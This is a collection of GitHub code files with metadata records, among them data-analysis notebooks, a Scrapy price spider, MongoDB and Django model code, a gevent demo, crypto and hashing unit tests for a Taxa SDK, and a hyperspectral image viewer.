Coordinate\", \n col=\"Primary Type\",\n hue = 'District', \n data=multiple_crimes,\n col_wrap=2, \n height=6, \n fit_reg=False, \n sharey=False, \n scatter_kws={\"marker\": \"D\",\"s\": 10});\n\n\n# ### Insights on Domestic and Arrests\n\n# The ratio of arrests made for Domestic crimes versus non arrests is represented using a Pie chart as given below:\n\n# In[29]:\n\n\ncrimedf[crimedf.Domestic]['Arrest'].value_counts(normalize=True).plot(kind='pie', legend=True, autopct='%2f')\nplt.title('Percentage of Domestic Crimes with Arrest v/s No Arrests');\n\n\n# ### Insights on subtypes of Thefts\n\n# To identify how different types of Thefts varied within each other, a count of the multiple types were taken and visualized using a horizontal bar plot as shown below:\n\n# In[30]:\n\n\nplt.figure(figsize = (8,10))\n\ncrimedf[crimedf['Primary Type'] == 'THEFT']['Description'].value_counts().sort_values(ascending = True).plot(kind = 'barh')\nplt.title('Types of thefts and their counts')\nplt.xlabel('Count')\nplt.ylabel('Description')\nplt.show;\n\n\n# It can be seen that Theft of $500 and under accounts to the maximum number in the subtype. \n\n# ### Insight on Types of Crimes and Location \n\n# To understand how types of crimes are distributed across different locations, first Primary type and location description are grouped and the variations are visualized usig heatmaps. \n\n# In[31]:\n\n\ncrime_monthyr = pd.DataFrame(crimedf.groupby(['Primary Type', 'Location Description']).size().sort_values(ascending = False).reset_index(name = 'Count')).head(20)\nmonthyearplot = crime_monthyr.pivot_table(values='Count',index='Primary Type',columns='Location Description')\n\nplt.figure(figsize = (3,4))\nsns.heatmap(monthyearplot, cmap = 'YlGnBu')\nplt.title('Heatmap for crimes versus locations');\n\n\n# The color for Street against Theft clearly indicates how high Street side thefts are. The heatmap is sparsely populated due to with hues higher for crimes like Criminal Damage, Motor vehhicle Theft and Narcotics mostly happening in the streets followed by residence or sidewalks. Its for the ease of reperesentation and understanding that only top 20 from the list was taken to be visualized in the heatmap.\n","repo_name":"RevathyVenukuttan/CS418_IDS","sub_path":"Homeworks/EDA_crime_data.py","file_name":"EDA_crime_data.py","file_ext":"py","file_size_in_byte":13749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41260815857","text":"from vsm import tf_idf\nimport os\nimport csv\nfrom collections import OrderedDict \nimport sys\n\n\ndef run_vsm(model_path, results_path):\n with open(os.getcwd() + \"/CORD-19/inverse_list.csv\", encoding = 'utf8') as inv_list_file, \\\n open(os.getcwd() + results_path, mode= 'w',encoding = 'utf8', newline = '') as res_vsm, \\\n open(os.getcwd()+ '/CORD-19/preprocessed_queries.csv', encoding = 'utf8') as query_file:\n inv_list_reader = csv.DictReader(inv_list_file)\n query_reader = csv.DictReader(query_file)\n for query_line in query_reader:\n scores = {}\n rank = 1\n with open(os.getcwd() + model_path, encoding = 'utf8') as bow_file:\n bow_reader = csv.DictReader(bow_file)\n for bow in bow_reader:\n score = tf_idf(eval(query_line['narrative']), eval(bow['abs_model']), inv_list_reader)\n scores[bow['id']]= score\n \n sorted_scores = sorted(scores.items(), key=lambda x: x[1], reverse= True)\n for [key, value] in sorted_scores:\n #query-id Q0 document-id rank score STANDARD\n res_vsm.write('{} Q0 {} {} {} STANDARD \\n'.format(query_line['id'],\n key,\n rank,\n str(value)\n )\n )\n rank += 1\n\nif __name__ == \"__main__\":\n run_vsm(\"/CORD-19/index.csv\", \"/CORD-19/res_vsm_abstract.txt\")\n #run_vsm(\"/CORD-19/index.csv\", \"/CORD-19/res_vsm_full_text.txt\")","repo_name":"MilanStiphout/IR","sub_path":"code/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20534274487","text":"import re\nimport csv\nimport os\nimport copy\nimport shutil\n\nfrom scrapy.spider import BaseSpider\nfrom scrapy.selector import HtmlXPathSelector\nfrom scrapy.http import Request, HtmlResponse, FormRequest\nfrom scrapy.utils.response import get_base_url\nfrom scrapy.utils.url import urljoin_rfc\nfrom scrapy.http.cookies import CookieJar\nfrom scrapy import log\n\nfrom product_spiders.items import Product, ProductLoaderWithNameStrip as ProductLoader\nfrom product_spiders.spiders.BeautifulSoup import BeautifulSoup\n\nHERE = os.path.abspath(os.path.dirname(__file__))\n\nclass ArcoSpider(BaseSpider):\n name = 'arco.co.uk'\n allowed_domains = ['arco.co.uk']\n\n def start_requests(self):\n with open(os.path.join(HERE, 'arco_products.csv')) as f:\n reader = csv.DictReader(f)\n for row in reader:\n yield Request(row['url'], meta={'sku': row['sku']}, dont_filter=True, callback=self.parse_product)\n\n def parse(self, response):\n pass\n def parse_product(self, response):\n hxs = HtmlXPathSelector(response)\n sku = response.meta['sku']\n # brand = response.meta['brand'].strip()\n category = hxs.select(u'//div[@id=\"bcrumb\"]/p/text()')[-1].extract().replace(u'>', u'').replace(u'>', u'').strip()\n image_url = hxs.select(u'//div[@id=\"imageholder\"]//img[@name=\"lpic\"]/@src')[0].extract()\n image_url = urljoin_rfc(get_base_url(response), image_url)\n\n options = hxs.select(u'//table[@class=\"producttbl\"]//tr[not(child::th)]')\n for option in options:\n site_sku = option.select(u'./td[1]/text()')[0].extract().strip()\n log.msg(u'site_sku: %s == sku: %s' % (site_sku, sku))\n if site_sku == sku:\n name = option.select(u'./td[2]/strong/text()')[0].extract()\n # if not brand.lower() in name.lower():\n # name = u'%s %s' % (brand, name)\n price = option.select(u'./td[4]/div/text()')[0].extract()\n loader = ProductLoader(item=Product(), selector=hxs)\n loader.add_value('category', category)\n loader.add_value('name', name)\n # loader.add_value('brand', brand)\n loader.add_value('url', response.url)\n loader.add_value('price', price)\n loader.add_value('image_url', image_url)\n loader.add_value('sku', sku)\n loader.add_value('identifier', sku)\n yield loader.load_item()\n break\n","repo_name":"Godsoo/scraping","sub_path":"e-commerce/CompetitorMonitor/product_spiders/spiders/arco/arco_spider.py","file_name":"arco_spider.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70682356250","text":"from lib.database_connection import DatabaseConnection\nfrom lib.post_repository import PostRepository\n\n\n# Connect to the database\nconnection = DatabaseConnection()\nconnection.connect()\n\n# Seed with some seed data\nconnection.seed(\"seeds/blog.sql\")\n\n# Retrieve all artists\npost_repository = PostRepository(connection)\nposts = post_repository.all()\n\n# List them out\nfor post in posts:\n print(post)\n\npost_1 = post_repository.find_with_comments(1)\n\nprint(\"Comments of \" + str(post_1))\nprint(post_1.comments)","repo_name":"lisaoausb/databases","sub_path":"_06_schema/blog/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13554639087","text":"from pymongo import MongoClient, collation\nfrom bson.objectid import ObjectId\nfrom pprint import pprint\nimport sys\nimport json\n\n# Definir la conexión\n\nclient = MongoClient(\"mongodb://localhost:27017\")\ndb = client.Northwind\ncollection = db.Products\n\n# Número total de productos\nprint(\"Número de Productos:\", collection.count_documents({}))\n\n# Número total de productos\ndata = collection.aggregate([{\"$count\": \"Productos\"}]).next()\nprint(\"Número de Productos:\", data[\"Productos\"])\nprint(\"\")\n\n# Listado y numero de productos\nproductos = list(collection.find({}))\nprint(\"Número de Productos:\", len(productos))\n[print(f\"{producto['ProductID']}# {producto['ProductName']}\") for producto in productos]\n\n# Productos con UnitsInStock 0, utilizando filter()\nzeroStock = list(filter(lambda x : x[\"UnitsInStock\"] == \"0\", productos))\n\n# UnitsInStock x UnitPrice, valor del Stock con FOR\ntotal = 0\nfor producto in productos:\n total += (int(producto[\"UnitsInStock\"]) * float(producto[\"UnitPrice\"]))\n\nprint(f\"Valor del Stock: {total:1.2f} Euros\")\n\n\n# UnitsInStock x UnitPrice, valor del Stock con SUM y MAP\ntotal = sum(map(lambda x : float(x[\"UnitPrice\"]) * int(x[\"UnitsInStock\"]), productos))\nprint(f\"Valor del Stock: {total:1.2f} Euros\")\n\n# UnitsInStock x UnitPrice, valor del Stock con una función AGGREGATE de mongoDB y los operadores $sum y $multiply\n\nquery = [\n {\"$match\": { \"UnitsInStock\": {\"$ne\": \"0\"}}},\n {\"$addFields\": {\n \"Price\": {\"$toDouble\": \"$UnitPrice\"},\n \"Stock\": {\"$toInt\": \"$UnitsInStock\"}\n }},\n {\"$group\": { \n \"_id\": \"Valor del Stock\",\n \"Total\": {\"$sum\": {\"$multiply\": [\"$Price\", \"$Stock\"]}},\n \"Products\": { \"$sum\": 1}\n }}\n]\n\ncursor = collection.aggregate(query)\ndata = cursor.next()\nprint(f\"Valor del Stock: {data['Total']:1.2f} Euros\")\nprint(data)\n\n","repo_name":"Formaciones/python","sub_path":"04-Base-de-Datos/Ejercicios/02_Calculos-Productos.py","file_name":"02_Calculos-Productos.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32138143452","text":"from django.contrib.sites.models import Site\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db import models\nfrom django.utils.html import format_html\nfrom edc_constants.choices import (\n YES_NO,\n YES_NO_NA,\n YES_NO_NOT_EVALUATED,\n YES_NO_NOT_EVALUATED_NA,\n)\nfrom edc_constants.constants import NOT_APPLICABLE, NOT_EVALUATED\nfrom edc_model.models import BaseUuidModel\nfrom edc_model.validators import date_not_future\nfrom edc_model_fields.fields import OtherCharField\nfrom edc_reportable import CELLS_PER_MICROLITER\nfrom edc_screening.model_mixins import EligibilityModelMixin, ScreeningModelMixin\nfrom edc_screening.screening_identifier import (\n ScreeningIdentifier as BaseScreeningIdentifier,\n)\n\nfrom ..choices import (\n CM_ON_CSF_METHODS,\n CSF_CRAG_RESULT_CHOICES,\n CSF_YES_NO_PENDING_NA,\n HIV_CONFIRMATION_METHODS,\n POS_NEG,\n PREG_YES_NO_NOT_EVALUATED_NA,\n)\nfrom ..eligibility import ScreeningEligibility\n\n\nclass ScreeningIdentifier(BaseScreeningIdentifier):\n template = \"S{random_string}\"\n\n\nclass SubjectScreening(ScreeningModelMixin, EligibilityModelMixin, BaseUuidModel):\n eligibility_cls = ScreeningEligibility\n\n identifier_cls = ScreeningIdentifier\n\n site = models.ForeignKey(Site, on_delete=models.PROTECT, null=True, related_name=\"+\")\n\n screening_consent = models.CharField(\n verbose_name=(\n \"Has the subject given his/her verbal consent \"\n \"to be screened for the EFFECT trial?\"\n ),\n max_length=15,\n choices=YES_NO,\n )\n\n willing_to_participate = models.CharField(\n verbose_name=\"Is the patient willing to participate in the study if found eligible?\",\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n )\n\n consent_ability = models.CharField(\n verbose_name=(\n \"Does the patient have capacity to provide informed consent for participation?\"\n ),\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n )\n\n hiv_pos = models.CharField(\n verbose_name=\"Is the patient CONFIRMED HIV sero-positive?\",\n max_length=15,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n null=True,\n blank=False,\n )\n\n hiv_confirmed_date = models.DateField(\n verbose_name=\"If YES, on what date was HIV positivity confirmed?\",\n validators=[date_not_future],\n null=True,\n blank=True,\n )\n\n hiv_confirmed_method = models.CharField(\n verbose_name=\"If YES, method?\",\n max_length=50,\n choices=HIV_CONFIRMATION_METHODS,\n default=NOT_APPLICABLE,\n )\n\n cd4_value = models.IntegerField(\n verbose_name=\"Most recent CD4 count\",\n validators=[MinValueValidator(0), MaxValueValidator(99)],\n null=True,\n blank=False,\n help_text=f\"Eligible if CD4 count <100 {CELLS_PER_MICROLITER}.\",\n )\n\n cd4_date = models.DateField(\n verbose_name=\"Most recent CD4 count sample collection date\",\n validators=[date_not_future],\n null=True,\n blank=False,\n )\n\n # ineligible if YES\n pregnant = models.CharField(\n verbose_name=\"Is the patient pregnant?\",\n max_length=15,\n choices=PREG_YES_NO_NOT_EVALUATED_NA,\n default=NOT_APPLICABLE,\n )\n\n preg_test_date = models.DateField(\n verbose_name=\"Pregnancy test date (Urine or serum βhCG)\", blank=True, null=True\n )\n\n # ineligible if YES\n breast_feeding = models.CharField(\n verbose_name=\"Is the patient breastfeeding?\",\n max_length=15,\n choices=YES_NO_NOT_EVALUATED_NA,\n default=NOT_APPLICABLE,\n )\n\n # eligible if POS\n serum_crag_value = models.CharField(\n verbose_name=\"Serum/plasma CrAg result\",\n max_length=15,\n choices=POS_NEG,\n blank=False,\n )\n\n serum_crag_date = models.DateField(\n verbose_name=\"Serum/plasma CrAg sample collection date\",\n validators=[date_not_future],\n null=True,\n blank=False,\n help_text=\"Test must have been performed within the last 14 days.\",\n )\n\n lp_done = models.CharField(\n verbose_name=\"Was LP done?\",\n max_length=15,\n choices=YES_NO,\n null=True,\n blank=False,\n help_text=\"If YES, provide date below ...\",\n )\n\n lp_date = models.DateField(\n verbose_name=\"LP date\",\n null=True,\n blank=True,\n help_text=(\n \"LP should be done AFTER serum/plasma CrAg, \"\n \"but may be done no more than 3 days before the serum/plasma CrAg.\"\n ),\n )\n\n lp_declined = models.CharField(\n verbose_name=\"If LP not done, was LP declined?\",\n max_length=15,\n choices=YES_NO_NA,\n default=NOT_APPLICABLE,\n blank=False,\n )\n\n csf_crag_value = models.CharField(\n verbose_name=\"CSF CrAg result\",\n max_length=15,\n choices=CSF_CRAG_RESULT_CHOICES,\n default=NOT_APPLICABLE,\n blank=False,\n )\n\n prior_cm_episode = models.CharField(\n verbose_name=\"Has the patient had a prior episode of CM or cryptococcal antigenaemia?\",\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n blank=False,\n )\n\n reaction_to_study_drugs = models.CharField(\n verbose_name=\"Has the patient had any serious reaction to flucytosine or fluconazole?\",\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n blank=False,\n )\n\n # exclusion\n on_flucon = models.CharField(\n verbose_name=(\n # As per '01_Screening Form_110821_V0.5.pdf' / 'EFFECT Protocol V1.2 7July 2021'\n \"Is the patient already taking high-dose fluconazole treatment \"\n \"(800-1200 mg/day) for ≥1 week?\"\n ),\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n blank=False,\n )\n\n # exclusion\n contraindicated_meds = models.CharField(\n verbose_name=\"Is the patient taking any contraindicated \" \"concomitant medications?\",\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n blank=False,\n help_text=\"Refer to the protocol for a complete list.\",\n )\n\n # exclusion\n mg_severe_headache = models.CharField(\n verbose_name=\"a progressively severe headache?\",\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n blank=False,\n )\n\n # exclusion\n mg_headache_nuchal_rigidity = models.CharField(\n verbose_name=\"a headache and marked nuchal rigidity?\",\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n blank=False,\n )\n\n # exclusion\n mg_headache_vomiting = models.CharField(\n verbose_name=\"a headache and vomiting?\",\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n blank=False,\n )\n\n # exclusion\n mg_seizures = models.CharField(\n verbose_name=\"seizures?\",\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n blank=False,\n )\n\n # exclusion\n mg_gcs_lt_15 = models.CharField(\n verbose_name=\"a Glasgow Coma Scale (GCS) score of <15?\",\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n blank=False,\n )\n\n # exclusion\n any_other_mg_ssx = models.CharField(\n verbose_name=\"any other clinical symptoms/signs of symptomatic meningitis?\",\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n blank=False,\n )\n\n any_other_mg_ssx_other = models.TextField(\n verbose_name=\"If YES, specify\",\n null=True,\n blank=True,\n help_text=\"If more than one, please separate each with a comma (,).\",\n )\n # exclusion\n jaundice = models.CharField(\n verbose_name=\"Based on clinical examination, does the patient have jaundice?\",\n max_length=25,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n blank=False,\n )\n\n # TODO: If pending, get at baseline\n cm_in_csf = models.CharField(\n verbose_name=\"Was CM confirmed in CSF by any other method?\",\n max_length=25,\n choices=CSF_YES_NO_PENDING_NA,\n default=NOT_APPLICABLE,\n blank=False,\n help_text=format_html(\n \"At any time between the CrAg test and screening for eligibility. \"\n \"
If results on tests on CSF are `pending`, report on \"\n \"DAY 1 visit or when available.\",\n ),\n )\n\n cm_in_csf_date = models.DateField(\n verbose_name=\"Date `pending results` expected (estimate)\", null=True, blank=True\n )\n\n cm_in_csf_method = models.CharField(\n verbose_name=\"If YES, by which method?\",\n max_length=25,\n choices=CM_ON_CSF_METHODS,\n default=NOT_APPLICABLE,\n )\n\n cm_in_csf_method_other = OtherCharField(max_length=50)\n\n unsuitable_for_study = models.CharField(\n verbose_name=(\n \"Is there any other reason the patient is deemed to not be suitable for the study?\"\n ),\n max_length=15,\n choices=YES_NO_NOT_EVALUATED,\n default=NOT_EVALUATED,\n help_text=\"If YES, patient NOT eligible, please give reason below ...\",\n )\n\n class Meta(BaseUuidModel.Meta):\n verbose_name = \"Subject Screening\"\n verbose_name_plural = \"Subject Screening\"\n","repo_name":"effect-trial/effect-edc","sub_path":"effect_screening/models/subject_screening.py","file_name":"subject_screening.py","file_ext":"py","file_size_in_byte":9624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"23650109558","text":"Stocks = {\r\n\"WMT\" : 156.68, \"MSFT\" : 346.91, \"GOOGL\" : 2822.11, \"TWTR\" : 48.22, \"COIN\" : 334.36 ,\r\n\"BUD\" : 58.56, \"V\" : 198.94, \"NFLX\" : 763.90, \"TSLA\" : 876.44 , \"ACER\" : 456.43\r\n }\r\nticker = input('Enter a ticker symbol for the stock:')\r\n\r\nif ticker in Stocks:\r\n print('{} : {}'.format(ticker, Stocks[ticker]))\r\nelse:\r\n print(\"The ticker {} was not found\".format(ticker))\r\n","repo_name":"Bass27/Assignment-7.1","sub_path":"a5.1.py","file_name":"a5.1.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74800608411","text":"import gevent\nimport random\n\ndef task(pid):\n \"\"\"\n Some non-deterministic task\n \"\"\"\n gevent.sleep(random.randint(0,2)*0.001)\n print('Task %s done' % pid)\n\ndef synchronous():\n for i in range(1,10):\n task(i)\n\ndef asynchronous():\n threads = [gevent.spawn(task, i) for i in range(10)]\n gevent.joinall(threads)\n\nprint('Synchronous:')\nsynchronous() # 실행 순서 보장. 하나 끝나고 하나 시작하는 방식이라 느림\n\nprint('Asynchronous:')\nasynchronous() # 실행 순서 보장 안됨. 단 서로 작업에 간섭이 없고 서로 block하지 않아서 빠름\n\n","repo_name":"DarrenKwonDev/journey-to-concurrency","sub_path":"green_thread/gevent/async.py","file_name":"async.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"30955568517","text":"from __future__ import print_function\n\nimport argparse\nimport sys\nimport unittest\n\nfrom .taxa_request import TaxaRequest\nfrom .tests import BaseServerTest\n\ntry:\n from dev_nodes import nodes\nexcept ImportError:\n nodes = None\n\n\nbin = b'R\\x9d\\x94r\\x12\\xa4\\x1a\\xec\\xb4\\x11\\x90\\xdcY\\x9a\\x96\\xccReWimBsDWONrzoeO'\nb64 = b\"Up2UchKkGuy0EZDcWZqWzFJlV2ltQnNEV09OcnpvZU8=\"\nhex = b'529d947212a41aecb41190dc599a96cc526557696d427344574f4e727a6f654f'\n\ndef make_snippets(module, snippet, pre_snippet=''):\n import_module = 'None'\n if module:\n import_module = \"import %s\" % module\n\n return (\n#remote snippet\n\"\"\"%s\n@taxa.route(\"/test\")\ndef test():\n %s # pre-snippet\n result = %s\n response.add(str(result))\n\"\"\" % (import_module, pre_snippet, snippet),\n\n #local snippet\n \"%s\\n%s\\nlocal_value = %s\" % (import_module, pre_snippet, snippet)\n)\n\nclass BaseSnippetTest(object):\n def compare(self, value):\n return str(value)\n\n def test_snippets(self):\n request = TaxaRequest(\"snippet_test.json\", verbose=VERBOSE)\n if FORCEIP: request.ip = FORCEIP\n\n g = {'local_value': None}\n\n for snippet in self.snippets:\n pre_snippet = None\n if type(snippet) in (tuple, list):\n pre_snippet = snippet[0]\n snippet = snippet[1]\n\n remote, local = make_snippets(self.module, snippet, pre_snippet)\n\n if DO_ONLY != 'local':\n response = request.send(function=\"test\", code=remote)\n remote_val = self.compare(response['decrypted_data'])\n print(snippet, \":\", \"remote->\", remote_val, end=\" \")\n else:\n print(snippet, \":\", \"remote->\",\"(skipped)\", end=\" \")\n\n if DO_ONLY != 'remote':\n exec(local, g)\n local_val = self.compare(g['local_value'])\n print(\"local->\", local_val)\n else:\n print(\"local-> (skipped)\")\n\n if not DO_ONLY:\n self.assertEqual(remote_val, local_val, snippet)\n\nclass JsonTest(BaseSnippetTest, BaseServerTest):\n module = 'json'\n snippets = [\n #\"\"\"json.loads('{\"a\": 1, \"b\": [1, 2, 3], \"c\": 5.4}')\"\"\",\n \"\"\"json.dumps({\"a\": 1, \"b\": [1, 2, 3], \"c\": 5.4})\"\"\",\n ]\n\nclass UnicodetoStrTest(BaseSnippetTest, BaseServerTest):\n module = None\n snippets = [\n 'u\"A\" == \"A\"',\n 'str(u\"u\")'\n ]\n\nclass BytestoStrTest(BaseSnippetTest, BaseServerTest):\n module = None\n snippets = [\n 'str(b\"b\")'\n ]\n\nclass AddToItselfTest(BaseSnippetTest, BaseServerTest):\n module = None\n snippets = [\n '\"s\" + \"s\"',\n 'b\"b\" + b\"b\"',\n 'u\"u\" + u\"u\"',\n ]\n\nclass MathTest(BaseSnippetTest, BaseServerTest):\n module = 'math'\n snippets = [\n \"math.ceil(4.5)\", \"math.ceil(-5.01)\", \"math.fabs(-3.768)\",\n \"math.floor(4.5)\", \"math.floor(-5.01)\", \"math.exp(3)\",\n \"math.log(20.085536923187668)\", \"math.sqrt(81)\", \"math.pow(3, 3)\",\n \"math.cos(math.pi)\"\n ]\n def compare(self, value):\n return \"%.5f\" % float(value)\n\nclass CMathTest(BaseSnippetTest, BaseServerTest):\n module = 'cmath'\n snippets = ['cmath.cosh(0)']\n\n\nclass MD5Test(BaseSnippetTest, BaseServerTest):\n module = 'md5'\n snippets = [\n ('m = md5.new(); m.update(\"Nobody inspects\")', 'm.hexdigest()')\n ]\n\nclass PickleTest(BaseSnippetTest, BaseServerTest):\n module = \"pickle\"\n snippets = [\"pickle.dumps({'test': 1})\"]\n\nclass Sha256Test(BaseSnippetTest, BaseServerTest):\n module = \"hashlib\"\n snippets = [\n ('s = hashlib.sha256(); s.update(b\"Nobody inspects\")', 's.hexdigest() # sha256 of b\"Nobody inspects\"')\n ]\n\nclass HmacTest(BaseSnippetTest, BaseServerTest):\n module = 'hmac, hashlib'\n snippets = [\n ('h = hmac.new(b\"ffff\", digestmod=hashlib.sha1); h.update(b\"hello\")', 'h.hexdigest() # sha1'),\n ('h = hmac.new(b\"ffff\", digestmod=hashlib.sha256); h.update(b\"hello\")', 'h.hexdigest() # sha256')\n ]\n\nclass KeccakTest(BaseSnippetTest, BaseServerTest):\n module = \"keccak\"\n snippets = [\n ('k = keccak.keccak_512(); k.update(b\"data\")', 'k.hexdigest() # sha3 512')\n ]\n\nclass ECDSATest(BaseSnippetTest, BaseServerTest):\n module = \"ecdsa\"\n snippets = [\n (\n 'sk = ecdsa.SigningKey.generate(); '\n 'vk = sk.verifying_key; '\n 'signature = sk.sign(b\"message\")',\n 'vk.verify(signature, b\"message\") # SECP256K1'\n ),\n (\n 'sk = ecdsa.SigningKey.generate(curve=ecdsa.NIST384p); '\n 'vk = sk.verifying_key; '\n 'signature = sk.sign(b\"message\")',\n 'vk.verify(signature, b\"message\") # NIST384p'\n ),\n (\n 'sk = ecdsa.SigningKey.generate(curve=ecdsa.NIST384p); '\n 'sk2 = ecdsa.SigningKey.from_string(sk.to_string(), curve=ecdsa.NIST384p)',\n 'sk == sk2'\n ),\n (\n \"msg = b'Hello World!';\"\n \"private_key = b'0x2574c4b3ba6ecc8714740cedf1554ec3332d30589ff535f38de5d028a51f0165';\"\n \"msg_hash = ecdsa.SigningKey.eth_hash(msg)\",\n \"msg_hash == '0xec3608877ecbf8084c29896b7eab2a368b2b3c8d003288584d145613dfa4706c'\"\n ),\n (\n \"msg = b'Hello World!';\"\n \"public_key = b'0xbb5e2f23623af907307e918ec16599a4bdb7de0af6a114a073dcb82a4b17920d506e75406d2b4f4c53356d344fb9d64b4d5bb33f2ce341201e4bafea6666b651';\"\n \"private_key = b'0x2574c4b3ba6ecc8714740cedf1554ec3332d30589ff535f38de5d028a51f0165';\"\n \"signature, v, r, s, message_hash = ecdsa.SigningKey.eth_sign(msg, private_key)\",\n \"ecdsa.SigningKey.eth_verify(msg, r, s, public_key)\"\n ),\n (\n 'from ecdsa import PRNG; '\n 'rng1 = PRNG(b\"seed\")',\n \"ecdsa.SigningKey.generate(entropy=rng1).to_pem()\"\n ),\n ]\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--forceip', default=None)\n parser.add_argument('--verbose', action='store_true', default=False)\n parser.add_argument('--keepkeys', action='store_true', default=False)\n parser.add_argument('--nop2p', action='store_true', default=False)\n parser.add_argument('--local-only', action='store_true', default=False)\n parser.add_argument('--remote-only', action='store_true', default=False)\n parser.add_argument('unittest_args', nargs='*')\n\n args = parser.parse_args()\n FORCEIP = False\n if args.forceip:\n FORCEIP = args.forceip\n\n KEEP_KEYS = args.keepkeys\n NO_P2P = args.nop2p\n VERBOSE = args.verbose\n\n if args.local_only:\n DO_ONLY = 'local'\n elif args.remote_only:\n DO_ONLY = 'remote'\n else:\n DO_ONLY = None\n\n sys.argv[1:] = args.unittest_args\n unittest.main()\n","repo_name":"taxa-network/taxa-sdk-python","sub_path":"taxa_sdk/snippet_tests.py","file_name":"snippet_tests.py","file_ext":"py","file_size_in_byte":6790,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"37294249459","text":"from scipy.io import loadmat\nimport matplotlib.pyplot as plt\nimport matplotlib\npref_mat = loadmat('PaviaU.mat')\nim_array = pref_mat['paviaU'] # this is an array of the hyperspectral cube\nprint (f'the array cube has a shape of : {im_array.shape}')\n\n\n\nfrom spectral import *\nim_spectral = open_image('92AV3C.lan')\nim_spectral = im_spectral.load()# when loading it returns an image file \nprint (f'the spectral cube has a shape of : {im_spectral.shape}')\n\nimport numpy as np\nim_spectral_2 = np.memmap('92AV3C.lan', shape=im_spectral.shape)\nim_spectral_2.shape\n\n\nimport numpy as np\nim_spectral_2 = np.memmap('92AV3C.lan', shape=im_spectral.shape)\nim_spectral_2.shape\nimport os \n\ndef previous_slice():\n pass\n\ndef next_slice():\n pass\n\ndef process_key(event):\n if event.key == 'p':\n previous_slice()\n elif event.key == 'n':\n next_slice()\nfig, ax = plt.subplots()\nax.imshow(im_array[:,:, 43])\nfig.canvas.mpl_connect('key_press_event', process_key)\n\ndef multi_slice_viewer(volume):\n fig, ax = plt.subplots()\n ax.volume = volume\n ax.index = volume.shape[2] // 2\n ax.imshow(volume[:,:,ax.index])\n fig.canvas.mpl_connect('key_press_event', process_key)\n\ndef process_key(event):\n fig = event.canvas.figure\n ax = fig.axes[0]\n if event.key == 'p':\n previous_slice(ax)\n elif event.key == 'n':\n next_slice(ax)\n fig.canvas.draw()\n\ndef previous_slice(ax):\n \"\"\"Go to the previous slice.\"\"\"\n volume = ax.volume\n ax.index = (ax.index - 1) % volume.shape[2] # wrap around using %\n ax.images[0].set_array(volume[:,:,ax.index])\n\ndef next_slice(ax):\n \"\"\"Go to the next slice.\"\"\"\n volume = ax.volume\n ax.index = (ax.index + 1) % volume.shape[2]\n ax.images[0].set_array(volume[:,:,ax.index])\n \n \ndef remove_keymap_conflicts(new_keys_set):\n for prop in plt.rcParams:\n if prop.startswith('keymap.'):\n keys = plt.rcParams[prop]\n remove_list = set(keys) & new_keys_set\n for key in remove_list:\n keys.remove(key)\ndef multi_slice_viewer(volume):\n remove_keymap_conflicts({'p', 'n'})\n fig, ax = plt.subplots()\n ax.volume = volume\n ax.index = volume.shape[2] // 2\n ax.imshow(volume[:,:,ax.index])\n fig.canvas.mpl_connect('key_press_event', process_key)\n\ndef process_key(event):\n fig = event.canvas.figure\n ax = fig.axes[0]\n if event.key == 'p':\n previous_slice(ax)\n elif event.key == 'n':\n next_slice(ax)\n fig.canvas.draw()\n\ndef previous_slice(ax):\n volume = ax.volume\n ax.index = (ax.index - 1) % volume.shape[2] # wrap around using %\n ax.images[0].set_array(volume[:,:,ax.index])\n\ndef next_slice(ax):\n volume = ax.volume\n ax.index = (ax.index + 1) % volume.shape[2]\n ax.images[0].set_array(volume[:,:,ax.index])\n \n \n\nmulti_slice_viewer(im_array)","repo_name":"abderrahmaneaziri/tests_on_dataset_python","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27151857323","text":"from django.urls import path\nfrom .views import *\n\n#\n# urlpatterns = [\n# # path('url_name', api_name)\n# path('register', register),\n# path('login', login),\n# path('logout', logout),\n# path('get_user_info_by_username', get_user_info_by_username),\n# path('get_user_info_by_user_id', 